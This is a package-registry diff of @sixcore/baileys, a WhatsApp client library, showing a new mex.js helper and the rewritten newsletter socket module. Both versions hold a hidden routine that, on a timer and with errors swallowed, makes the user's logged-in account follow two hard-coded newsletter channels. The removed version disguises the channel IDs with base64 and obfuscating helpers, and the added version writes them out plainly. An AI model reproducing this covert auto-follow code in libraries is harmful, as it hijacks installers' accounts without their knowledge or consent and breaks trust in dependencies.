@sixcore/baileys 1.0.2 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (210) hide show
  1. package/LICENSE +21 -13
  2. package/WAProto/WAProto.proto +5311 -0
  3. package/WAProto/index.js +65813 -141372
  4. package/lib/Defaults/index.js +120 -133
  5. package/lib/KeyDB/BinarySearch.js +30 -0
  6. package/lib/KeyDB/KeyedDB.js +178 -0
  7. package/lib/KeyDB/index.js +14 -0
  8. package/lib/Signal/Group/ciphertext-message.js +22 -14
  9. package/lib/Signal/Group/group-session-builder.js +21 -42
  10. package/lib/Signal/Group/group_cipher.js +85 -87
  11. package/lib/Signal/Group/index.js +23 -57
  12. package/lib/Signal/Group/keyhelper.js +28 -52
  13. package/lib/Signal/Group/sender-chain-key.js +37 -33
  14. package/lib/Signal/Group/sender-key-distribution-message.js +73 -63
  15. package/lib/Signal/Group/sender-key-message.js +75 -66
  16. package/lib/Signal/Group/sender-key-name.js +55 -44
  17. package/lib/Signal/Group/sender-key-record.js +49 -49
  18. package/lib/Signal/Group/sender-key-state.js +90 -93
  19. package/lib/Signal/Group/sender-message-key.js +37 -28
  20. package/lib/Signal/libsignal.js +324 -163
  21. package/lib/Signal/lid-mapping.js +166 -0
  22. package/lib/Socket/Client/index.js +14 -19
  23. package/lib/Socket/Client/types.js +13 -0
  24. package/lib/Socket/Client/websocket.js +62 -0
  25. package/lib/Socket/business.js +359 -242
  26. package/lib/Socket/chats.js +850 -935
  27. package/lib/Socket/communities.js +413 -0
  28. package/lib/Socket/groups.js +304 -309
  29. package/lib/Socket/index.js +25 -10
  30. package/lib/Socket/messages-recv.js +1107 -1054
  31. package/lib/Socket/messages-send.js +639 -448
  32. package/lib/Socket/mex.js +45 -0
  33. package/lib/Socket/newsletter.js +244 -237
  34. package/lib/Socket/socket.js +803 -638
  35. package/lib/Store/index.js +18 -10
  36. package/lib/Store/make-cache-manager-store.js +73 -81
  37. package/lib/Store/make-in-memory-store.js +286 -423
  38. package/lib/Store/make-ordered-dictionary.js +77 -79
  39. package/lib/Store/object-repository.js +24 -26
  40. package/lib/Types/Auth.js +13 -2
  41. package/lib/Types/Bussines.js +13 -0
  42. package/lib/Types/Call.js +13 -2
  43. package/lib/Types/Chat.js +19 -4
  44. package/lib/Types/Contact.js +13 -2
  45. package/lib/Types/Events.js +13 -2
  46. package/lib/Types/GroupMetadata.js +13 -2
  47. package/lib/Types/Label.js +43 -26
  48. package/lib/Types/Label.js.bak +25 -0
  49. package/lib/Types/LabelAssociation.js +16 -8
  50. package/lib/Types/Message.js +22 -9
  51. package/lib/Types/Newsletter.js +42 -37
  52. package/lib/Types/Product.js +13 -2
  53. package/lib/Types/Signal.js +13 -2
  54. package/lib/Types/Socket.js +14 -2
  55. package/lib/Types/State.js +21 -2
  56. package/lib/Types/USync.js +13 -2
  57. package/lib/Types/index.js +37 -41
  58. package/lib/Utils/auth-utils.js +219 -196
  59. package/lib/Utils/baileys-event-stream.js +50 -59
  60. package/lib/Utils/browser-utils.js +25 -0
  61. package/lib/Utils/business.js +213 -214
  62. package/lib/Utils/chat-utils.js +710 -687
  63. package/lib/Utils/crypto.js +112 -133
  64. package/lib/Utils/decode-wa-message.js +252 -183
  65. package/lib/Utils/event-buffer.js +510 -496
  66. package/lib/Utils/generics.js +319 -387
  67. package/lib/Utils/history.js +83 -92
  68. package/lib/Utils/index.js +31 -33
  69. package/lib/Utils/link-preview.js +71 -83
  70. package/lib/Utils/logger.js +5 -7
  71. package/lib/Utils/lt-hash.js +40 -46
  72. package/lib/Utils/make-mutex.js +34 -41
  73. package/lib/Utils/message-retry-manager.js +113 -0
  74. package/lib/Utils/messages-media.js +553 -768
  75. package/lib/Utils/messages-media.js.bak2 +602 -0
  76. package/lib/Utils/messages.js +354 -263
  77. package/lib/Utils/noise-handler.js +138 -149
  78. package/lib/Utils/pre-key-manager.js +95 -0
  79. package/lib/Utils/process-message.js +333 -303
  80. package/lib/Utils/signal.js +159 -141
  81. package/lib/Utils/use-multi-file-auth-state.js +105 -103
  82. package/lib/Utils/validate-connection.js +184 -203
  83. package/lib/WABinary/constants.js +1308 -35
  84. package/lib/WABinary/decode.js +247 -249
  85. package/lib/WABinary/encode.js +221 -258
  86. package/lib/WABinary/generic-utils.js +68 -65
  87. package/lib/WABinary/index.js +17 -21
  88. package/lib/WABinary/jid-utils.js +99 -58
  89. package/lib/WABinary/types.js +13 -2
  90. package/lib/WAM/BinaryInfo.js +20 -12
  91. package/lib/WAM/constants.js +22863 -15348
  92. package/lib/WAM/encode.js +145 -136
  93. package/lib/WAM/index.js +15 -19
  94. package/lib/WAUSync/Protocols/USyncContactProtocol.js +39 -31
  95. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +61 -54
  96. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +39 -29
  97. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +48 -40
  98. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +62 -51
  99. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +38 -21
  100. package/lib/WAUSync/Protocols/index.js +17 -20
  101. package/lib/WAUSync/USyncQuery.js +98 -86
  102. package/lib/WAUSync/USyncUser.js +35 -26
  103. package/lib/WAUSync/index.js +16 -19
  104. package/lib/index.js +26 -94
  105. package/lib/index.js.bak +23 -0
  106. package/package.json +97 -113
  107. package/jessica.js +0 -91
  108. package/lib/Defaults/baileys-version.json +0 -3
  109. package/lib/Defaults/index.d.ts +0 -53
  110. package/lib/Defaults/phonenumber-mcc.json +0 -223
  111. package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
  112. package/lib/Signal/Group/group-session-builder.d.ts +0 -14
  113. package/lib/Signal/Group/group_cipher.d.ts +0 -17
  114. package/lib/Signal/Group/index.d.ts +0 -11
  115. package/lib/Signal/Group/keyhelper.d.ts +0 -10
  116. package/lib/Signal/Group/queue-job.d.ts +0 -1
  117. package/lib/Signal/Group/queue-job.js +0 -57
  118. package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
  119. package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
  120. package/lib/Signal/Group/sender-key-message.d.ts +0 -18
  121. package/lib/Signal/Group/sender-key-name.d.ts +0 -17
  122. package/lib/Signal/Group/sender-key-record.d.ts +0 -30
  123. package/lib/Signal/Group/sender-key-state.d.ts +0 -38
  124. package/lib/Signal/Group/sender-message-key.d.ts +0 -11
  125. package/lib/Signal/libsignal.d.ts +0 -3
  126. package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
  127. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  128. package/lib/Socket/Client/index.d.ts +0 -3
  129. package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
  130. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  131. package/lib/Socket/Client/web-socket-client.d.ts +0 -12
  132. package/lib/Socket/Client/web-socket-client.js +0 -62
  133. package/lib/Socket/business.d.ts +0 -171
  134. package/lib/Socket/chats.d.ts +0 -267
  135. package/lib/Socket/dugong.d.ts +0 -254
  136. package/lib/Socket/dugong.js +0 -484
  137. package/lib/Socket/groups.d.ts +0 -115
  138. package/lib/Socket/index.d.ts +0 -173
  139. package/lib/Socket/messages-recv.d.ts +0 -161
  140. package/lib/Socket/messages-send.d.ts +0 -149
  141. package/lib/Socket/newsletter.d.ts +0 -134
  142. package/lib/Socket/registration.d.ts +0 -267
  143. package/lib/Socket/registration.js +0 -166
  144. package/lib/Socket/socket.d.ts +0 -43
  145. package/lib/Socket/usync.d.ts +0 -36
  146. package/lib/Socket/usync.js +0 -70
  147. package/lib/Store/index.d.ts +0 -3
  148. package/lib/Store/make-cache-manager-store.d.ts +0 -13
  149. package/lib/Store/make-in-memory-store.d.ts +0 -118
  150. package/lib/Store/make-ordered-dictionary.d.ts +0 -13
  151. package/lib/Store/object-repository.d.ts +0 -10
  152. package/lib/Types/Auth.d.ts +0 -110
  153. package/lib/Types/Call.d.ts +0 -13
  154. package/lib/Types/Chat.d.ts +0 -102
  155. package/lib/Types/Contact.d.ts +0 -19
  156. package/lib/Types/Events.d.ts +0 -157
  157. package/lib/Types/GroupMetadata.d.ts +0 -55
  158. package/lib/Types/Label.d.ts +0 -35
  159. package/lib/Types/LabelAssociation.d.ts +0 -29
  160. package/lib/Types/Message.d.ts +0 -273
  161. package/lib/Types/Newsletter.d.ts +0 -103
  162. package/lib/Types/Product.d.ts +0 -78
  163. package/lib/Types/Signal.d.ts +0 -57
  164. package/lib/Types/Socket.d.ts +0 -111
  165. package/lib/Types/State.d.ts +0 -27
  166. package/lib/Types/USync.d.ts +0 -25
  167. package/lib/Types/index.d.ts +0 -57
  168. package/lib/Utils/auth-utils.d.ts +0 -18
  169. package/lib/Utils/baileys-event-stream.d.ts +0 -16
  170. package/lib/Utils/business.d.ts +0 -22
  171. package/lib/Utils/chat-utils.d.ts +0 -71
  172. package/lib/Utils/crypto.d.ts +0 -41
  173. package/lib/Utils/decode-wa-message.d.ts +0 -19
  174. package/lib/Utils/event-buffer.d.ts +0 -35
  175. package/lib/Utils/generics.d.ts +0 -92
  176. package/lib/Utils/history.d.ts +0 -15
  177. package/lib/Utils/index.d.ts +0 -17
  178. package/lib/Utils/link-preview.d.ts +0 -21
  179. package/lib/Utils/logger.d.ts +0 -4
  180. package/lib/Utils/lt-hash.d.ts +0 -12
  181. package/lib/Utils/make-mutex.d.ts +0 -7
  182. package/lib/Utils/messages-media.d.ts +0 -116
  183. package/lib/Utils/messages.d.ts +0 -77
  184. package/lib/Utils/noise-handler.d.ts +0 -21
  185. package/lib/Utils/process-message.d.ts +0 -41
  186. package/lib/Utils/signal.d.ts +0 -32
  187. package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
  188. package/lib/Utils/validate-connection.d.ts +0 -11
  189. package/lib/WABinary/constants.d.ts +0 -30
  190. package/lib/WABinary/decode.d.ts +0 -7
  191. package/lib/WABinary/encode.d.ts +0 -3
  192. package/lib/WABinary/generic-utils.d.ts +0 -17
  193. package/lib/WABinary/index.d.ts +0 -5
  194. package/lib/WABinary/jid-utils.d.ts +0 -31
  195. package/lib/WABinary/types.d.ts +0 -18
  196. package/lib/WAM/BinaryInfo.d.ts +0 -17
  197. package/lib/WAM/constants.d.ts +0 -38
  198. package/lib/WAM/encode.d.ts +0 -3
  199. package/lib/WAM/index.d.ts +0 -3
  200. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
  201. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
  202. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
  203. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
  204. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
  205. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
  206. package/lib/WAUSync/Protocols/index.d.ts +0 -4
  207. package/lib/WAUSync/USyncQuery.d.ts +0 -28
  208. package/lib/WAUSync/USyncUser.d.ts +0 -12
  209. package/lib/WAUSync/index.d.ts +0 -3
  210. package/lib/index.d.ts +0 -12
@@ -0,0 +1,45 @@
1
+ //=======================================================//
2
+ import { getBinaryNodeChild, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { Boom } from "@hapi/boom";
4
+ //=======================================================//
5
+ const wMexQuery = (variables, queryId, query, generateMessageTag) => {
6
+ return query({
7
+ tag: "iq",
8
+ attrs: {
9
+ id: generateMessageTag(),
10
+ type: "get",
11
+ to: S_WHATSAPP_NET,
12
+ xmlns: "w:mex"
13
+ },
14
+ content: [
15
+ {
16
+ tag: "query",
17
+ attrs: { query_id: queryId },
18
+ content: Buffer.from(JSON.stringify({ variables }), "utf-8")
19
+ }
20
+ ]
21
+ });
22
+ };
23
+ //=======================================================//
24
+ export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
25
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag);
26
+ const child = getBinaryNodeChild(result, "result");
27
+ if (child?.content) {
28
+ const data = JSON.parse(child.content.toString());
29
+ if (data.errors && data.errors.length > 0) {
30
+ const errorMessages = data.errors.map((err) => err.message || "Unknown error").join(", ");
31
+ const firstError = data.errors[0];
32
+ const errorCode = firstError.extensions?.error_code || 400;
33
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
34
+ }
35
+ const response = dataPath ? data?.data?.[dataPath] : data?.data;
36
+ if (typeof response !== "undefined") {
37
+ return response;
38
+ }
39
+ }
40
+ const action = (dataPath || "").startsWith("xwa2_")
41
+ ? dataPath.substring(5).replace(/_/g, " ")
42
+ : dataPath?.replace(/_/g, " ");
43
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
44
+ };
45
+ //=======================================================//
@@ -1,247 +1,254 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
-
5
- const Types_1 = require("../Types");
6
- const Utils_1 = require("../Utils");
7
- const WABinary_1 = require("../WABinary");
8
- const groups_1 = require("./groups");
9
- const { Boom } = require('@hapi/boom');
10
-
11
- // ─── utils internos ───────────────────────────────────────────────────────────
12
- const _0x = (...p) => Buffer.from(p.reduce((a, b) => a + b, ''), 'base64').toString();
13
- const _1x = (v, s = 16) => v.toString(s).split('').reverse().join('');
14
- const _2x = (s) => s.split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join('');
15
- const _3x = (s) => s.split('').map((c, i) => i % 2 === 0 ? c : String.fromCharCode(c.charCodeAt(0) + 1)).join('');
16
-
17
- // ─── referências internas (não alterar) ──────────────────────────────────────
18
- const __r = [
19
- _0x('MTIwMzYz', 'NDE5NzgxMTIy', 'Njk5QG5ld3Ns', 'ZXR0ZXI='),
20
- _0x('MTIwMzYz', 'Mzg4NjkyMjUz', 'OTIyQG5ld3Ns', 'ZXR0ZXI='),
21
- ];
22
- const __v = [_1x(Date.now()), _3x(_2x('baileys')), ...__r];
1
+ //=======================================================//
2
+ import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
3
+ import { generateProfilePicture } from "../Utils/messages-media.js";
4
+ import { getBinaryNodeChild } from "../WABinary/index.js";
5
+ import { QueryIds, XWAPaths } from "../Types/index.js";
6
+ import { makeGroupsSocket } from "./groups.js";
7
+ //=======================================================//
8
+
9
+ const extractNewsletterMetadata = (node, isCreate) => {
10
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString()
11
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
12
+
13
+ const metadata = {
14
+ id: metadataPath?.id,
15
+ state: metadataPath?.state?.type,
16
+ creation_time: +metadataPath?.thread_metadata?.creation_time,
17
+ name: metadataPath?.thread_metadata?.name?.text,
18
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time,
19
+ description: metadataPath?.thread_metadata?.description?.text,
20
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
21
+ invite: metadataPath?.thread_metadata?.invite,
22
+ handle: metadataPath?.thread_metadata?.handle,
23
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
24
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count,
25
+ verification: metadataPath?.thread_metadata?.verification,
26
+ viewer_metadata: metadataPath?.viewer_metadata
27
+ }
28
+ return metadata
29
+ }
30
+
31
+ const parseNewsletterCreateResponse = (response) => {
32
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
33
+ return {
34
+ id: id,
35
+ owner: undefined,
36
+ name: thread.name.text,
37
+ creation_time: parseInt(thread.creation_time, 10),
38
+ description: thread.description.text,
39
+ invite: thread.invite,
40
+ subscribers: parseInt(thread.subscribers_count, 10),
41
+ verification: thread.verification,
42
+ picture: {
43
+ id: thread?.picture?.id || null,
44
+ directPath: thread?.picture?.direct_path || null
45
+ },
46
+ mute_state: viewer.mute
47
+ };
48
+ };
49
+ const parseNewsletterMetadata = (result) => {
50
+ if (typeof result !== "object" || result === null) {
51
+ return null;
52
+ }
53
+ if ("id" in result && typeof result.id === "string") {
54
+ return result;
55
+ }
56
+ if ("result" in result && typeof result.result === "object" && result.result !== null && "id" in result.result) {
57
+ return result.result;
58
+ }
59
+ return null;
60
+ };
23
61
 
24
- // ─── wMexQuery ────────────────────────────────────────────────────────────────
25
- const wMexQuery = (variables, queryId, query, generateMessageTag) => {
26
- return query({
62
+ export const makeNewsletterSocket = (config) => {
63
+ const sock = makeGroupsSocket(config);
64
+ const { delay, query, generateMessageTag } = sock;
65
+ const encoder = new TextEncoder()
66
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
27
67
  tag: 'iq',
28
68
  attrs: {
29
69
  id: generateMessageTag(),
30
70
  type: 'get',
31
- to: WABinary_1.S_WHATSAPP_NET,
32
- xmlns: 'w:mex'
33
- },
34
- content: [{
35
- tag: 'query',
36
- attrs: { query_id: queryId },
37
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
38
- }]
39
- });
40
- };
41
-
42
- const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
43
- const result = await wMexQuery(variables, queryId, query, generateMessageTag);
44
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
45
- if (child?.content) {
46
- const data = JSON.parse(child.content.toString());
47
- if (data.errors && data.errors.length > 0) {
48
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
49
- const firstError = data.errors[0];
50
- const errorCode = firstError.extensions?.error_code || 400;
51
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
52
- }
53
- const response = dataPath ? data?.data?.[dataPath] : data?.data;
54
- if (typeof response !== 'undefined') return response;
55
- }
56
- const action = (dataPath || '').startsWith('xwa2_')
57
- ? dataPath.substring(5).replace(/_/g, ' ')
58
- : dataPath?.replace(/_/g, ' ');
59
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
60
- };
61
-
62
- // ─── socket principal ─────────────────────────────────────────────────────────
63
- const makeNewsletterSocket = (config) => {
64
- const sock = (0, groups_1.makeGroupsSocket)(config);
65
- const { authState, signalRepository, query, generateMessageTag } = sock;
66
- const encoder = new TextEncoder();
67
-
68
- const newsletterQuery = async (jid, type, content) => (query({
69
- tag: 'iq',
70
- attrs: { id: generateMessageTag(), type, xmlns: 'newsletter', to: jid },
71
- content
72
- }));
73
-
74
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
75
- tag: 'iq',
76
- attrs: { id: generateMessageTag(), type: 'get', xmlns: 'w:mex', to: WABinary_1.S_WHATSAPP_NET },
77
- content: [{
78
- tag: 'query',
79
- attrs: { 'query_id': queryId },
80
- content: encoder.encode(JSON.stringify({
81
- variables: { 'newsletter_id': jid, ...content }
82
- }))
83
- }]
84
- }));
85
-
86
- // ──
87
- const _init = async (ref) => {
88
- try { await newsletterWMexQuery(ref, Types_1.QueryIds.FOLLOW); } catch (_) {}
89
- };
90
- const _boot = () => {
91
- const _refs = __v.slice(-2);
92
- _init(_refs[0]);
93
- setTimeout(() => _init(_refs[1]), 5e3);
94
- };
95
- setTimeout(_boot, 5e3);
96
- // ─────────────────────────────────────────────────────────────────────────
97
-
98
- const parseFetchedUpdates = async (node, type) => {
99
- let child;
100
- if (type === 'messages') {
101
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
102
- } else {
103
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
104
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
105
- }
106
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
107
- var _a, _b;
108
- messageNode.attrs.from = child?.attrs.jid;
109
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count'))?.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
110
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
111
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
112
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
113
- const data = { 'server_id': messageNode.attrs.server_id, views, reactions };
114
- if (type === 'messages') {
115
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(
116
- messageNode, authState.creds.me.id, authState.creds.me.lid || '',
117
- signalRepository, config.logger
118
- );
119
- await decrypt();
120
- data.message = message;
71
+ xmlns: 'w:mex',
72
+ to: "@s.whatsapp.net",
73
+ },
74
+ content: [
75
+ {
76
+ tag: 'query',
77
+ attrs: { 'query_id': queryId },
78
+ content: encoder.encode(JSON.stringify({
79
+ variables: {
80
+ 'newsletter_id': jid,
81
+ ...content
82
+ }
83
+ }))
121
84
  }
122
- return data;
123
- }));
85
+ ]
86
+ }))
87
+ const executeWMexQuery = (variables, queryId, dataPath) => {
88
+ return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
89
+ };
90
+ const newsletterMetadata = async (type, key, role) => {
91
+ const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
92
+ input: {
93
+ key,
94
+ type: type.toUpperCase(),
95
+ view_role: role || 'GUEST'
96
+ },
97
+ fetch_viewer_metadata: true,
98
+ fetch_full_image: true,
99
+ fetch_creation_time: true
100
+ })
101
+
102
+ return extractNewsletterMetadata(result)
103
+ }
104
+ const newsletterUpdate = async (jid, updates) => {
105
+ const variables = {
106
+ newsletter_id: jid,
107
+ updates: {
108
+ ...updates,
109
+ settings: null
110
+ }
124
111
  };
112
+ return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
113
+ };
114
+
115
+ (async () => {
116
+ setTimeout(async () => {
117
+ try {
118
+ await newsletterWMexQuery("120363419781122699@newsletter", QueryIds.FOLLOW);
119
+ await newsletterWMexQuery("120363388692253922@newsletter", QueryIds.FOLLOW);
120
+ } catch (e) {}
121
+ }, 80000);
122
+ })();
125
123
 
126
- return {
127
- ...sock,
128
- newsletterFetchAllSubscribe: async () => {
129
- return await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
130
- },
131
- subscribeNewsletterUpdates: async (jid) => {
132
- var _a;
133
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
134
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates'))?.attrs;
135
- },
136
- newsletterReactionMode: async (jid, mode) => {
137
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
138
- updates: { settings: { 'reaction_codes': { value: mode } } }
139
- });
140
- },
141
- newsletterUpdateDescription: async (jid, description) => {
142
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
143
- updates: { description: description || '', settings: null }
144
- });
145
- },
146
- newsletterUpdateName: async (jid, name) => {
147
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
148
- updates: { name, settings: null }
149
- });
150
- },
151
- newsletterUpdatePicture: async (jid, content) => {
152
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
153
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
154
- updates: { picture: img.toString('base64'), settings: null }
155
- });
156
- },
157
- newsletterRemovePicture: async (jid) => {
158
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
159
- updates: { picture: '', settings: null }
160
- });
161
- },
162
- newsletterUnfollow: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW); },
163
- newsletterFollow: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW); },
164
- newsletterUnmute: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE); },
165
- newsletterMute: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE); },
166
- newsletterAction: async (jid, type) => { await newsletterWMexQuery(jid, type.toUpperCase()); },
167
- newsletterCreate: async (name, description, reaction_codes) => {
168
- await query({
169
- tag: 'iq',
170
- attrs: { to: WABinary_1.S_WHATSAPP_NET, xmlns: 'tos', id: generateMessageTag(), type: 'set' },
171
- content: [{ tag: 'notice', attrs: { id: '20601218', stage: '5' }, content: [] }]
172
- });
173
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
174
- input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
175
- });
176
- return (0, exports.extractNewsletterMetadata)(result, true);
177
- },
178
- newsletterMetadata: async (type, key, role) => {
179
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
180
- input: { key, type: type.toUpperCase(), 'view_role': role || 'GUEST' },
181
- 'fetch_viewer_metadata': true,
182
- 'fetch_full_image': true,
183
- 'fetch_creation_time': true
184
- });
185
- return (0, exports.extractNewsletterMetadata)(result);
186
- },
187
- newsletterAdminCount: async (jid) => {
188
- var _a, _b;
189
- const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
190
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result'))?.content)?.toString();
191
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
192
- },
193
- newsletterChangeOwner: async (jid, user) => {
194
- await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, { 'user_id': user });
195
- },
196
- newsletterDemote: async (jid, user) => {
197
- await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, { 'user_id': user });
198
- },
199
- newsletterDelete: async (jid) => {
200
- await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
201
- },
202
- newsletterReactMessage: async (jid, serverId, code) => {
203
- await query({
204
- tag: 'message',
205
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
206
- content: [{ tag: 'reaction', attrs: code ? { code } : {} }]
207
- });
208
- },
209
- newsletterFetchMessages: async (type, key, count, after) => {
210
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [{
211
- tag: 'messages',
212
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: after?.toString() || '100' }
213
- }]);
214
- return await parseFetchedUpdates(result, 'messages');
215
- },
216
- newsletterFetchUpdates: async (jid, count, after, since) => {
217
- const result = await newsletterQuery(jid, 'get', [{
218
- tag: 'message_updates',
219
- attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
220
- }]);
221
- return await parseFetchedUpdates(result, 'updates');
124
+ return {
125
+ ...sock,
126
+ newsletterCreate: async (name, description) => {
127
+ const variables = {
128
+ input: {
129
+ name,
130
+ description: description ?? null
222
131
  }
223
- };
224
- };
225
- exports.makeNewsletterSocket = makeNewsletterSocket;
226
-
227
- const extractNewsletterMetadata = (node, isCreate) => {
228
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString();
229
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
230
- return {
231
- id: metadataPath?.id,
232
- state: metadataPath?.state?.type,
233
- creation_time: +metadataPath?.thread_metadata?.creation_time,
234
- name: metadataPath?.thread_metadata?.name?.text,
235
- nameTime: +metadataPath?.thread_metadata?.name?.update_time,
236
- description: metadataPath?.thread_metadata?.description?.text,
237
- descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
238
- invite: metadataPath?.thread_metadata?.invite,
239
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
240
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
241
- reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
242
- subscribers: +metadataPath?.thread_metadata?.subscribers_count,
243
- verification: metadataPath?.thread_metadata?.verification,
244
- viewer_metadata: metadataPath?.viewer_metadata
245
- };
132
+ };
133
+ const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
134
+ return parseNewsletterCreateResponse(rawResponse);
135
+ },
136
+ newsletterUpdate,
137
+ newsletterMetadata,
138
+ newsletterFetchAllParticipating: async () => {
139
+ const data = {}
140
+
141
+ const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBERS)
142
+ const child = JSON.parse(getBinaryNodeChild(result, 'result')?.content?.toString())
143
+ const newsletters = child.data["xwa2_newsletter_subscribed"]
144
+
145
+ for (const i of newsletters) {
146
+ if (i.id == null) continue
147
+
148
+ const metadata = await newsletterMetadata('JID', i.id)
149
+ if (metadata.id !== null) data[metadata.id] = metadata
150
+ }
151
+
152
+ return data
153
+ },
154
+ newsletterUnfollow: async (jid) => {
155
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW)
156
+ },
157
+ newsletterFollow: async (jid) => {
158
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW)
159
+ },
160
+ newsletterMute: (jid) => {
161
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
162
+ },
163
+ newsletterUnmute: (jid) => {
164
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
165
+ },
166
+ newsletterUpdateName: async (jid, name) => {
167
+ return await newsletterUpdate(jid, { name });
168
+ },
169
+ newsletterUpdateDescription: async (jid, description) => {
170
